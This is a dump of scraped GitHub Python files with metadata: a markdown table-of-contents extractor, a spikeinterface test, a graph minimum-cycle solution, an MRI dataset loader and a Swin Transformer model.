"werkzeug.exceptions.Forbidden", "line_number": 591, "usage_type": "name"}, {"api_name": "werkzeug.exceptions.HTTPException", "line_number": 593, "usage_type": "name"}, {"api_name": "app.db.session.rollback", "line_number": 596, "usage_type": "call"}, {"api_name": "app.db.session", "line_number": 596, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 596, "usage_type": "name"}, {"api_name": "flask.current_app.logger.exception", "line_number": 597, "usage_type": "call"}, {"api_name": "flask.current_app.logger", "line_number": 597, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 597, "usage_type": "name"}, {"api_name": "flask_restful.abort", "line_number": 598, "usage_type": "call"}, {"api_name": "app.auth.decorators.role_permission_required", "line_number": 448, "usage_type": "call"}, {"api_name": "app.resources.roles.constants.EPT_NU", "line_number": 448, "usage_type": "attribute"}, {"api_name": "app.resources.roles.constants", "line_number": 448, "usage_type": "name"}, {"api_name": "flasgger.utils.swag_from", "line_number": 449, "usage_type": "call"}, {"api_name": "app.base.api.AuthResource", "line_number": 603, "usage_type": "name"}, {"api_name": "app.resources.registration_requests.models.RegistrationRequest", "line_number": 609, "usage_type": "name"}, {"api_name": "sqlalchemy.func.concat", "line_number": 634, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 634, "usage_type": "name"}, {"api_name": "sqlalchemy.func.lower", "line_number": 635, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 635, "usage_type": "name"}, {"api_name": "app.resources.registration_requests.models.RegistrationRequest.first_name", "line_number": 635, "usage_type": "attribute"}, {"api_name": "app.resources.registration_requests.models.RegistrationRequest", "line_number": 635, "usage_type": "name"}, {"api_name": "sqlalchemy.func.lower", "line_number": 637, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 637, "usage_type": "name"}, {"api_name": "app.resources.registration_requests.models.RegistrationRequest.last_name", "line_number": 637, "usage_type": "attribute"}, {"api_name": "app.resources.registration_requests.models.RegistrationRequest", "line_number": 637, "usage_type": "name"}, {"api_name": "app.resources.registration_requests.models.RegistrationRequest.status", "line_number": 642, "usage_type": "attribute"}, {"api_name": "app.resources.registration_requests.models.RegistrationRequest", "line_number": 642, "usage_type": "name"}, {"api_name": "sqlalchemy.any_", "line_number": 642, "usage_type": "call"}, {"api_name": "app.resources.registration_requests.schemas.RegistrationRequestReadArgsSchema", "line_number": 655, "usage_type": "call"}, {"api_name": "app.db.session.query", "line_number": 666, "usage_type": "call"}, {"api_name": "app.resources.registration_requests.models.RegistrationRequest", "line_number": 666, "usage_type": "argument"}, {"api_name": "app.db.session", "line_number": 666, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 666, "usage_type": "name"}, {"api_name": "app.resources.registration_requests.schemas.RegistrationRequestSchema", "line_number": 669, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.load_only", "line_number": 672, "usage_type": "call"}, {"api_name": "app.resources.registration_requests.schemas.RegistrationRequestSchema", "line_number": 675, "usage_type": "call"}, {"api_name": "app.c_abort", "line_number": 684, "usage_type": "call"}, {"api_name": "werkzeug.exceptions.HTTPException", "line_number": 686, "usage_type": "name"}, {"api_name": "flask.current_app.logger.exception", "line_number": 689, "usage_type": "call"}, {"api_name": "flask.current_app.logger", "line_number": 689, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 689, "usage_type": "name"}, {"api_name": "flask_restful.abort", "line_number": 690, "usage_type": "call"}, {"api_name": "app.auth.decorators.role_permission_required", "line_number": 648, "usage_type": "call"}, {"api_name": "app.resources.roles.constants.EPT_NU", "line_number": 648, "usage_type": "attribute"}, {"api_name": "app.resources.roles.constants", "line_number": 648, "usage_type": "name"}, {"api_name": "flasgger.utils.swag_from", "line_number": 649, "usage_type": "call"}]}
{"seq_id": "29062138183", "text": "import regex as re\nimport argparse\nfrom os.path import exists\nfrom typing import List, Tuple\n\ndef extract_table(lines: List[str], heading: str) -> List[str]:\n    \"\"\"\n    Filters a list of lines to the header lines.\n    Identifies headers of the 'leading-hashtag' type as well as\n    headers of the 'subsequent-line' type by using regex.\n\n    :param lines: List of header and text lines.\n    :returns: List of header lines.\n    \"\"\"\n\n    headers = []\n    re_hashtag_headers = r\"^#+\\ .*$\"\n    re_alternative_header_lvl1 = r\"^=+ *$\"\n    re_alternative_header_lvl2 = r\"^-+ *$\"\n\n    current = '#xx'\n    heading = '#%s' % heading\n\n    for i, line in enumerate(lines):\n        h = None\n\n        # identify headers by leading hashtags\n        if re.search(re_hashtag_headers, line):\n            h = format_header(line)\n\n        # identify alternative headers\n        elif re.search(re_alternative_header_lvl1, line):\n            h = format_header(lines[i - 1])\n        elif re.search(re_alternative_header_lvl2, line):\n            h = format_header(lines[i - 1])\n\n        if h:\n            current = h[2]\n\n        if current == heading:\n            print(line)\n\n    return headers\n\n\ndef identify_headers(lines: List[str]) -> List[str]:\n    \"\"\"\n    Filters a list of lines to the header lines.\n    Identifies headers of the 'leading-hashtag' type as well as\n    headers of the 'subsequent-line' type by using regex.\n\n    :param lines: List of header and text lines.\n    :returns: List of header lines.\n    \"\"\"\n\n    headers = []\n    re_hashtag_headers = r\"^#+\\ .*$\"\n    re_alternative_header_lvl1 = r\"^=+ *$\"\n    re_alternative_header_lvl2 = r\"^-+ *$\"\n\n    for i, line in enumerate(lines):\n        # identify headers by leading hashtags\n        if re.search(re_hashtag_headers, line):\n            headers.append(line)\n\n        # identify alternative headers\n        elif re.search(re_alternative_header_lvl1, line):\n            headers.append(\"# \" + lines[i - 1])  # unified h1 format\n        elif re.search(re_alternative_header_lvl2, line):\n            headers.append(\"## \" + lines[i - 1])  # unified h2 format\n\n    return headers\n\n\ndef format_header(header: str) -> Tuple[str, int, str]:\n    \"\"\"Calculates the level of the header, removes leading and trailing whitespaces and creates the markdown-link.\n\n    :param header: header line from the markdown file\n    :return: a tuple consisting of the cleaned header, the header level and the formatted markdown link.\n    \"\"\"\n\n    # determine the level of the header\n    level = 0\n    while header[0] == \"#\":\n        level += 1\n        header = header[1:]\n\n    # create clickable link by allowing only certain characters,\n    # by replacing whitespaces with hyphens and by removing colons\n    headerlink = \"#\" + re.sub(r\"[^a-zA-Z0-9 -]\", \"\", header).lower().strip().replace(\n        \" \", \"-\"\n    ).replace(\"--\", \"-\")\n    return (header.strip(), level, headerlink)\n\n\ndef remove_code_blocks(content: List[str]) -> List[str]:\n    \"\"\"Removes lines starting with \"```\" (=code blocks) from the markdown file.\n\n    Since code blocks can contain lines with leading hashtags\n    (e.g. comments in python) they need to be removed before looking for headers.\n\n    :param content: file contents as a list of strings\n    :return: Cleaned file contents as a list of strings\n    \"\"\"\n    content_cleaned = []\n    code_block = False\n\n    for x in content:\n        if x[:3] == \"```\":\n            code_block = not code_block\n        elif not code_block:\n            content_cleaned.append(x)\n\n    return content_cleaned\n\n\ndef create_toc(toc_levels: List[Tuple[str, int, str]], level_limit: int) -> List[str]:\n    \"\"\"Creates a list of strings representing the items in the table of content.\n\n    :param toc_levels:  A list of Tuples consisting of the header,\n                                        the level of the header and a formatted markdown-link to the header.\n                        Example for toc_levels:\n\n                                [\n                                        ('First Header', 1, '#First-Header')\n                                        ('Second level', 2, '#Second-level')\n                                        ('First level again', 1, '#First-level-again')\n                                ]\n    :param level_limit: Limit to the number of levels included in the TOC\n    :return: Ordered line items of the table of contents.\n\n    \"\"\"\n\n    toc = [\"# Table of Contents\"]\n    # create a dict to store the header numbering for each level\n    max_header_level = max([x[1] for x in toc_levels]) + 1\n    headerlevels = dict.fromkeys(range(1, max_header_level), 1)\n    previous_level = 1\n    for i, (h, level, link) in enumerate(toc_levels):\n\n        # reset lower header-levels if current header level is higher than prev\n        if previous_level > level:\n            for x in range(level + 1, previous_level + 1):\n                headerlevels[x] = 1\n\n        # construct TOC element\n        if level <= level_limit:\n            toc.append(\n                \"\\t\" * (level - 1) + f\"{headerlevels[level]}. [\" + h + f\"]({link})\"\n            )\n\n        # increment matching header level\n        headerlevels[level] = headerlevels[level] + 1\n        previous_level = level\n    return toc\n\n\ndef main():\n\n    parser = argparse.ArgumentParser(\n        prog=\"extracttoc\",\n        description=\"Extracts the table of contents from a markdown file.\",\n    )\n\n    # an argument that results in a list of strings with one element ('file')\n    parser.add_argument(\n        \"file\",\n        nargs=1,\n        help=\"Provide a markdown file from which to extract the toc.\",\n        type=str,\n    )\n\n    # an argument whose passed value is stored in an integer variable ('limit')\n    parser.add_argument(\n        \"-l\",\n        \"--levels\",\n        dest=\"limit\",\n        default=3,\n        type=int,\n        help=\"Set the number of levels which will be included in the TOC.\",\n    )\n\n    # an argument that results in a string variable ('extract_table')\n    parser.add_argument(\n        \"-t\",\n        \"--table\",\n        action=\"store\",\n        dest=\"table\",\n        help=\"Extract table\",\n    )\n\n    args = parser.parse_args()\n\n    # read file\n    file_name = args.file[0]\n\n    if not exists(file_name):\n        raise ValueError(f\"File {file_name} could not be found.\")\n\n    with open(file_name, \"r\", encoding=\"utf-8\") as f:\n        content = f.read().split(\"\\n\")\n\n    content_cleaned = remove_code_blocks(content)\n\n    headers = identify_headers(content_cleaned)\n\n    toc_levels = [format_header(h) for h in headers]\n\n    toc = create_toc(toc_levels, args.limit)\n\n    if args.table:\n        table = extract_table(content_cleaned, args.table)\n        for i in table:\n            print(i)\n    else:\n        # Output options\n        for line in toc:\n            print(line)\n\nmain()\n", "repo_name": "michaeljclark/llvlir", "sub_path": "scripts/mdextract.py", "file_name": "mdextract.py", "file_ext": "py", "file_size_in_byte": 6797, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "81", "api": [{"api_name": "typing.List", "line_number": 6, "usage_type": "name"}, {"api_name": "regex.search", "line_number": 28, "usage_type": "call"}, {"api_name": "regex.search", "line_number": 32, "usage_type": "call"}, {"api_name": "regex.search", "line_number": 34, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 46, "usage_type": "name"}, {"api_name": "regex.search", "line_number": 63, "usage_type": "call"}, {"api_name": "regex.search", "line_number": 67, "usage_type": "call"}, {"api_name": "regex.search", "line_number": 69, "usage_type": "call"}, {"api_name": "regex.sub", "line_number": 90, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 75, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 96, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 117, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 117, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 160, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 197, "usage_type": "call"}]}
{"seq_id": "29660727747", "text": "import pytest\nimport numpy as np\n\nfrom spikeinterface.core import NpzSortingExtractor\nfrom spikeinterface.core.tests.testing_tools import create_sorting_npz\n\n\ndef test_NpzSortingExtractor():\n    num_seg = 2\n    file_path = 'test_NpzSortingExtractor.npz'\n\n    create_sorting_npz(num_seg, file_path)\n\n    sorting = NpzSortingExtractor(file_path)\n\n    for segment_index in range(num_seg):\n        for unit_id in (0, 1, 2):\n            st = sorting.get_unit_spike_train(unit_id, segment_index=segment_index)\n\n    file_path_copy = 'test_NpzSortingExtractor_copy.npz'\n    NpzSortingExtractor.write_sorting(sorting, file_path_copy)\n    sorting_copy = NpzSortingExtractor(file_path_copy)\n\n\nif __name__ == '__main__':\n    test_NpzSortingExtractor()\n", "repo_name": "caniko/spikeinterface", "sub_path": "spikeinterface/core/tests/test_npzsortingextractor.py", "file_name": "test_npzsortingextractor.py", "file_ext": "py", "file_size_in_byte": 740, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "81", "api": [{"api_name": "spikeinterface.core.tests.testing_tools.create_sorting_npz", "line_number": 12, "usage_type": "call"}, {"api_name": "spikeinterface.core.NpzSortingExtractor", "line_number": 14, "usage_type": "call"}, {"api_name": "spikeinterface.core.NpzSortingExtractor.write_sorting", "line_number": 21, "usage_type": "call"}, {"api_name": "spikeinterface.core.NpzSortingExtractor", "line_number": 21, "usage_type": "name"}, {"api_name": "spikeinterface.core.NpzSortingExtractor", "line_number": 22, "usage_type": "call"}]}
{"seq_id": "39719108494", "text": "\"\"\"\nGiven an integer A, representing number of vertices in a graph.\nAlso you are given a matrix of integers B of size N x 3 where N represents number of Edges in a Graph and Triplet (B[i][0], B[i][1], B[i][2]) implies there is an undirected edge between B[i][0] and B[i][1] and weight of that edge is\nB[i][2].\nFind and return the weight of minimum weighted cycle and if there is no cycle return -1 instead.\nNOTE: Graph may contain multiple edges and self loops.\n\"\"\"\n#for each edge, exclude that edge and see if any other path is\n#possible between source and destination. If there is then cycle\n#weight would be loop weight + excluded path weight\nfrom collections import defaultdict\nimport heapq\nclass Solution:\n    #@param dest : int -> node to reach\n    #@param visited : set\n    #@param heap : heapq\n    #@param edges : defaultdict\n    #@return int\n    def path(self, dest, visited, heap, edges):\n        while heap:\n            w, n = heapq.heappop(heap)\n            if n == dest:\n                #print(\"Path exists with weight {}\".format(w))\n                return w\n            visited.add(n)\n            for c in edges[n]:\n                if c[1] not in visited:\n                    heapq.heappush(heap, (c[0] + w, c[1]))\n        return -1\n\n    #@param A : int -> total nodes\n    #@param B : list of list of int -> edges\n    def solve(self, A, B):\n        ans = 99999\n        edges = defaultdict(list)\n        for s, d, w in B:\n            if s == d:\n                ans = min(w, ans)\n            else:\n                edges[s].append((w, d))\n                edges[d].append((w, s))\n        #        \n        for s, d, w in B:\n            if s != d:\n                #print(\"current edge {} {} w {}\".format(s, d, w))\n                heap, visited = list(), set()\n                visited.add(s)\n                for c in edges[s]:\n                    if c[1] != d:\n                        heapq.heappush(heap, c)\n                loopval = self.path(d, visited, heap, edges)\n                if loopval != -1:\n                    ans = min(loopval + w, ans)\n\n        return ans if ans != 99999 else -1\n\n\n\nA = 3\nB = [  [1 ,2 ,2],\n        [2 ,3 ,3]  ]\n\nt = Solution()\nprint(t.solve(A, B))", "repo_name": "anurag5398/DSA-Problems", "sub_path": "Graphs/MinimumWeightedCycle.py", "file_name": "MinimumWeightedCycle.py", "file_ext": "py", "file_size_in_byte": 2188, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "heapq.heappop", "line_number": 21, "usage_type": "call"}, {"api_name": "heapq.heappush", "line_number": 28, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 35, "usage_type": "call"}, {"api_name": "heapq.heappush", "line_number": 50, "usage_type": "call"}]}
{"seq_id": "72027892424", "text": "from glob import glob\nimport numpy as np\nimport scipy.io as sio\n\nfrom torch.utils.data import Dataset\nimport torch\n\nfrom utils import CartesianMask\n\nclass ImageDataset(Dataset):\n    def __init__(self, dataset_name, is_valid=False, is_testing=False, test_num=1,\n                 aug_seq=None, acc_rate=5, acs_num=0, random_sampling=False, mask_index=0, mask_name=None):\n        if is_testing:\n            self.files_fs = sorted(glob('../Data/%s/SR100/Test/im/*.*' % (dataset_name)))\n            if test_num != -1:\n                self.files_fs = self.files_fs[:test_num]\n        elif is_valid:\n            self.files_fs = sorted(glob('../Data/%s/SR100/Valid/im/*.*' % (dataset_name)))\n            if test_num != -1:\n                self.files_fs = self.files_fs[:test_num]\n        else:\n            self.files_fs = sorted(glob('../Data/%s/SR100/Train/im/*.*' % (dataset_name)))\n\n        self.is_testing = is_testing\n        self.aug_seq = aug_seq\n        self.acc_rate = acc_rate\n        self.acs_num = acs_num\n        self.random_sampling = random_sampling\n        self.mask_index = mask_index\n        self.mask_name = mask_name\n\n    def __getitem__(self, index):\n        # 1,256,256\n        img_fs = sio.loadmat(self.files_fs[index % len(self.files_fs)])['im']\n        h, w = img_fs.shape\n        \n        # load or generate sampling mask\n        if not self.random_sampling:\n            if self.mask_name == None:\n                mask = sio.loadmat('../../Data/SamplingMask/mask_%.2f_%d_%d/mask%d.mat' % \n                                  (self.acc_rate, self.acs_num, h, self.mask_index))['mask']\n            else:\n                mask = sio.loadmat('../../Data/SamplingMask/%s.mat' % self.mask_name)['mask']\n        else:\n            mask = CartesianMask((h, w), self.acc_rate, self.acs_num)\n        \n        mask_rev = np.ones_like(mask) - mask\n        \n        if not self.is_testing and self.aug_seq != None:\n            img_fs = np.reshape(img_fs, (h, w, 1))\n            img_fs = self.aug_seq.augment_image(img_fs)\n            img_fs = img_fs[:,:,0]\n        \n        kspace_fs = np.fft.fft2(img_fs)\n        kspace_us = np.fft.ifftshift(np.fft.fftshift(kspace_fs) * np.fft.fftshift(mask))\n        img_us = np.fft.ifft2(kspace_us)\n        \n        kspace_us = kspace_us[np.newaxis]\n        kspace_fs = kspace_fs[np.newaxis]\n        img_us    = img_us[np.newaxis]\n        img_fs    = img_fs[np.newaxis]\n        mask      = mask[np.newaxis]\n        \n        kspace_us = np.concatenate((np.real(kspace_us), np.imag(kspace_us)), axis = 0)\n        kspace_fs = np.concatenate((np.real(kspace_fs), np.imag(kspace_fs)), axis = 0)\n        img_us    = np.concatenate((np.real(img_us),    np.imag(img_us)),    axis = 0)\n        img_fs    = np.concatenate((np.real(img_fs),    np.imag(img_fs)),    axis = 0)\n        mask      = np.concatenate((mask, mask), axis=0)\n        \n        kspace_us = torch.Tensor(kspace_us)\n        kspace_fs = torch.Tensor(kspace_fs)\n        img_us    = torch.Tensor(img_us)\n        img_fs    = torch.Tensor(img_fs)\n        mask      = torch.Tensor(mask)\n        \n        return {'kspace_us': kspace_us, 'kspace_fs': kspace_fs, 'img_us': img_us, 'img_fs': img_fs, 'mask_rev': mask_rev}\n\n    def __len__(self):\n        return len(self.files_fs)", "repo_name": "MAILAB-Yonsei/cross-domain-cnn", "sub_path": "pytorch/datasets.py", "file_name": "datasets.py", "file_ext": "py", "file_size_in_byte": 3265, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torch.utils.data.Dataset", "line_number": 10, "usage_type": "name"}, {"api_name": "glob.glob", "line_number": 14, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 18, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 22, "usage_type": "call"}, {"api_name": "scipy.io.loadmat", "line_number": 34, "usage_type": "call"}, {"api_name": "scipy.io", "line_number": 34, "usage_type": "name"}, {"api_name": "scipy.io.loadmat", "line_number": 40, "usage_type": "call"}, {"api_name": "scipy.io", "line_number": 40, "usage_type": "name"}, {"api_name": "scipy.io.loadmat", "line_number": 43, "usage_type": "call"}, {"api_name": "scipy.io", "line_number": 43, "usage_type": "name"}, {"api_name": "utils.CartesianMask", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.ones_like", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.fft.fft2", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.fft", "line_number": 54, "usage_type": "attribute"}, {"api_name": "numpy.fft.ifftshift", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.fft", "line_number": 55, "usage_type": "attribute"}, {"api_name": "numpy.fft.fftshift", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.fft.ifft2", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.fft", "line_number": 56, "usage_type": "attribute"}, {"api_name": "numpy.newaxis", "line_number": 58, "usage_type": "attribute"}, {"api_name": "numpy.newaxis", "line_number": 59, "usage_type": "attribute"}, {"api_name": "numpy.newaxis", "line_number": 60, "usage_type": "attribute"}, {"api_name": "numpy.newaxis", "line_number": 61, "usage_type": "attribute"}, {"api_name": "numpy.newaxis", "line_number": 62, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.real", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.imag", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.real", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.imag", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.real", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.imag", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.real", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.imag", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 68, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 71, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 72, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 73, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 74, "usage_type": "call"}]}
{"seq_id": "30173078423", "text": "import torch\nfrom torch import nn, einsum\nimport numpy as np\nfrom einops import rearrange, repeat\n\n\nclass CyclicShift(nn.Module):\n    def __init__(self, displacement):\n        super().__init__()\n        self.displacement = displacement\n\n    def forward(self, x):\n        return torch.roll(x, shifts=(self.displacement, self.displacement), dims=(1, 2))\n\n\nclass Residual(nn.Module):\n    def __init__(self, fn):\n        super().__init__()\n        self.fn = fn\n\n    def forward(self, x, **kwargs):\n        return self.fn(x, **kwargs) + x\n\n\nclass PreNorm(nn.Module):\n    def __init__(self, dim, fn):\n        super().__init__()\n        self.norm = nn.LayerNorm(dim)\n        self.fn = fn\n\n    def forward(self, x, **kwargs):\n        return self.fn(self.norm(x), **kwargs)\n\n\nclass FeedForward(nn.Module):\n    def __init__(self, dim, hidden_dim):\n        super().__init__()\n        self.net = nn.Sequential(\n            nn.Linear(dim, hidden_dim),\n            nn.GELU(),\n            nn.Linear(hidden_dim, dim),\n        )\n\n    def forward(self, x):\n        return self.net(x)\n\n\ndef create_mask(window_size, displacement, upper_lower, left_right):\n    mask = torch.zeros(window_size ** 2, window_size ** 2)\n\n    if upper_lower:\n        mask[-displacement * window_size:, :-displacement * window_size] = float('-inf')\n        mask[:-displacement * window_size, -displacement * window_size:] = float('-inf')\n\n    if left_right:\n        mask = rearrange(mask, '(h1 w1) (h2 w2) -> h1 w1 h2 w2', h1=window_size, h2=window_size)\n        mask[:, -displacement:, :, :-displacement] = float('-inf')\n        mask[:, :-displacement, :, -displacement:] = float('-inf')\n        mask = rearrange(mask, 'h1 w1 h2 w2 -> (h1 w1) (h2 w2)')\n\n    return mask\n\n\ndef get_relative_distances(window_size):\n    indices = torch.tensor(np.array([[x, y] for x in range(window_size) for y in range(window_size)]))\n    distances = indices[None, :, :] - indices[:, None, :]\n    return distances\n\n\nclass WindowAttention(nn.Module):\n    def __init__(self, dim, heads, head_dim, shifted, window_size, relative_pos_embedding):\n        super().__init__()\n        inner_dim = head_dim * heads\n\n        self.heads = heads\n        self.scale = head_dim ** -0.5\n        self.window_size = window_size\n        self.relative_pos_embedding = relative_pos_embedding\n        self.shifted = shifted\n\n        if self.shifted:\n            displacement = window_size // 2\n            self.cyclic_shift = CyclicShift(-displacement)\n            self.cyclic_back_shift = CyclicShift(displacement)\n            self.upper_lower_mask = nn.Parameter(create_mask(window_size=window_size, displacement=displacement,\n                                                             upper_lower=True, left_right=False), requires_grad=False)\n            self.left_right_mask = nn.Parameter(create_mask(window_size=window_size, displacement=displacement,\n                                                            upper_lower=False, left_right=True), requires_grad=False)\n\n        self.to_qkv = nn.Linear(dim, inner_dim * 3, bias=False)\n\n        if self.relative_pos_embedding:\n            self.relative_indices = get_relative_distances(window_size) + window_size - 1\n            self.pos_embedding = nn.Parameter(torch.randn(2 * window_size - 1, 2 * window_size - 1))\n        else:\n            self.pos_embedding = nn.Parameter(torch.randn(window_size ** 2, window_size ** 2))\n\n        self.to_out = nn.Linear(inner_dim, dim)\n\n    def forward(self, x):\n        if self.shifted:\n            x = self.cyclic_shift(x)\n\n        b, n_h, n_w, _, h = *x.shape, self.heads\n\n        qkv = self.to_qkv(x).chunk(3, dim=-1)\n        nw_h = n_h // self.window_size\n        nw_w = n_w // self.window_size\n\n        q, k, v = map(\n            lambda t: rearrange(t, 'b (nw_h w_h) (nw_w w_w) (h d) -> b h (nw_h nw_w) (w_h w_w) d',\n                                h=h, w_h=self.window_size, w_w=self.window_size), qkv)\n\n        dots = einsum('b h w i d, b h w j d -> b h w i j', q, k) * self.scale\n\n        if self.relative_pos_embedding:\n            dots += self.pos_embedding[self.relative_indices[:, :, 0], self.relative_indices[:, :, 1]]\n        else:\n            dots += self.pos_embedding\n\n        if self.shifted:\n            dots[:, :, -nw_w:] += self.upper_lower_mask\n            dots[:, :, nw_w - 1::nw_w] += self.left_right_mask\n\n        attn = dots.softmax(dim=-1)\n\n        out = einsum('b h w i j, b h w j d -> b h w i d', attn, v)\n        out = rearrange(out, 'b h (nw_h nw_w) (w_h w_w) d -> b (nw_h w_h) (nw_w w_w) (h d)',\n                        h=h, w_h=self.window_size, w_w=self.window_size, nw_h=nw_h, nw_w=nw_w)\n        out = self.to_out(out)\n\n        if self.shifted:\n            out = self.cyclic_back_shift(out)\n        return out\n\n\nclass SwinBlock(nn.Module):\n    def __init__(self, dim, heads, head_dim, mlp_dim, shifted, window_size, relative_pos_embedding):\n        super().__init__()\n        self.attention_block = Residual(PreNorm(dim, WindowAttention(dim=dim,\n                                                                     heads=heads,\n                                                                     head_dim=head_dim,\n                                                                     shifted=shifted,\n                                                                     window_size=window_size,\n                                                                     relative_pos_embedding=relative_pos_embedding)))\n        self.mlp_block = Residual(PreNorm(dim, FeedForward(dim=dim, hidden_dim=mlp_dim)))\n\n    def forward(self, x):\n        x = self.attention_block(x)\n        x = self.mlp_block(x)\n        return x\n\n\nclass PatchMerging(nn.Module):\n    def __init__(self, in_channels, out_channels, downscaling_factor):\n        super().__init__()\n        self.downscaling_factor = downscaling_factor\n        self.patch_merge = nn.Unfold(kernel_size=downscaling_factor, stride=downscaling_factor, padding=0)\n        self.linear = nn.Linear(in_channels * downscaling_factor ** 2, out_channels)\n\n    def forward(self, x):\n        b, c, h, w = x.shape\n        new_h, new_w = h // self.downscaling_factor, w // self.downscaling_factor\n        x = self.patch_merge(x).view(b, -1, new_h, new_w).permute(0, 2, 3, 1)\n        x = self.linear(x)\n        return x\n\n\nclass StageModule(nn.Module):\n    def __init__(self, in_channels, hidden_dimension, layers, downscaling_factor, num_heads, head_dim, window_size,\n                 relative_pos_embedding):\n        super().__init__()\n        assert layers % 2 == 0, 'Stage layers need to be divisible by 2 for regular and shifted block.'\n\n        self.patch_partition = PatchMerging(in_channels=in_channels, out_channels=hidden_dimension,\n                                            downscaling_factor=downscaling_factor)\n\n        self.layers = nn.ModuleList([])\n        for _ in range(layers // 2):\n            self.layers.append(nn.ModuleList([\n                SwinBlock(dim=hidden_dimension, heads=num_heads, head_dim=head_dim, mlp_dim=hidden_dimension * 4,\n                          shifted=False, window_size=window_size, relative_pos_embedding=relative_pos_embedding),\n                SwinBlock(dim=hidden_dimension, heads=num_heads, head_dim=head_dim, mlp_dim=hidden_dimension * 4,\n                          shifted=True, window_size=window_size, relative_pos_embedding=relative_pos_embedding),\n            ]))\n\n    def forward(self, x):\n        x = self.patch_partition(x)\n        for regular_block, shifted_block in self.layers:\n            x = regular_block(x)\n            x = shifted_block(x)\n        return x.permute(0, 3, 1, 2)\n\n\nclass SwinTransformer(nn.Module):\n    def __init__(self, *, hidden_dim, layers, heads, channels=3, num_classes=1000, head_dim=32, window_size=7,\n                 downscaling_factors=(4, 2, 2, 2), relative_pos_embedding=True):\n        super().__init__()\n\n        self.stage1 = StageModule(in_channels=channels, hidden_dimension=hidden_dim, layers=layers[0],\n                                  downscaling_factor=downscaling_factors[0], num_heads=heads[0], head_dim=head_dim,\n                                  window_size=window_size, relative_pos_embedding=relative_pos_embedding)\n        self.stage2 = StageModule(in_channels=hidden_dim, hidden_dimension=hidden_dim * 2, layers=layers[1],\n                                  downscaling_factor=downscaling_factors[1], num_heads=heads[1], head_dim=head_dim,\n                                  window_size=window_size, relative_pos_embedding=relative_pos_embedding)\n        self.stage3 = StageModule(in_channels=hidden_dim * 2, hidden_dimension=hidden_dim * 4, layers=layers[2],\n                                  downscaling_factor=downscaling_factors[2], num_heads=heads[2], head_dim=head_dim,\n                                  window_size=window_size, relative_pos_embedding=relative_pos_embedding)\n        self.stage4 = StageModule(in_channels=hidden_dim * 4, hidden_dimension=hidden_dim * 8, layers=layers[3],\n                                  downscaling_factor=downscaling_factors[3], num_heads=heads[3], head_dim=head_dim,\n                                  window_size=window_size, relative_pos_embedding=relative_pos_embedding)\n\n        self.mlp_head = nn.Sequential(\n            nn.LayerNorm(hidden_dim * 8),\n            nn.Linear(hidden_dim * 8, num_classes)\n        )\n\n    def forward(self, img):\n        x = self.stage1(img)\n        x = self.stage2(x)\n        x = self.stage3(x)\n        x = self.stage4(x)\n        x = x.mean(dim=[2, 3])\n        return self.mlp_head(x)\n\n\ndef swin_t(num_classes=100, hidden_dim=96, layers=(2, 2, 6, 2), heads=(3, 6, 12, 24), **kwargs):\n    return SwinTransformer(hidden_dim=hidden_dim, layers=layers, heads=heads, **kwargs)\n\n\ndef swin_s(num_classes=100, hidden_dim=96, layers=(2, 2, 18, 2), heads=(3, 6, 12, 24), **kwargs):\n    return SwinTransformer(hidden_dim=hidden_dim, layers=layers, heads=heads, **kwargs)\n\n\ndef swin_b(num_classes=100, hidden_dim=128, layers=(2, 2, 18, 2), heads=(4, 8, 16, 32), **kwargs):\n    return SwinTransformer(hidden_dim=hidden_dim, layers=layers, heads=heads, **kwargs)\n\n\ndef swin_l(num_classes=100, hidden_dim=192, layers=(2, 2, 18, 2), heads=(6, 12, 24, 48), **kwargs):\n    return SwinTransformer(hidden_dim=hidden_dim, layers=layers, heads=heads, **kwargs)", "repo_name": "VainF/Torch-Pruning", "sub_path": 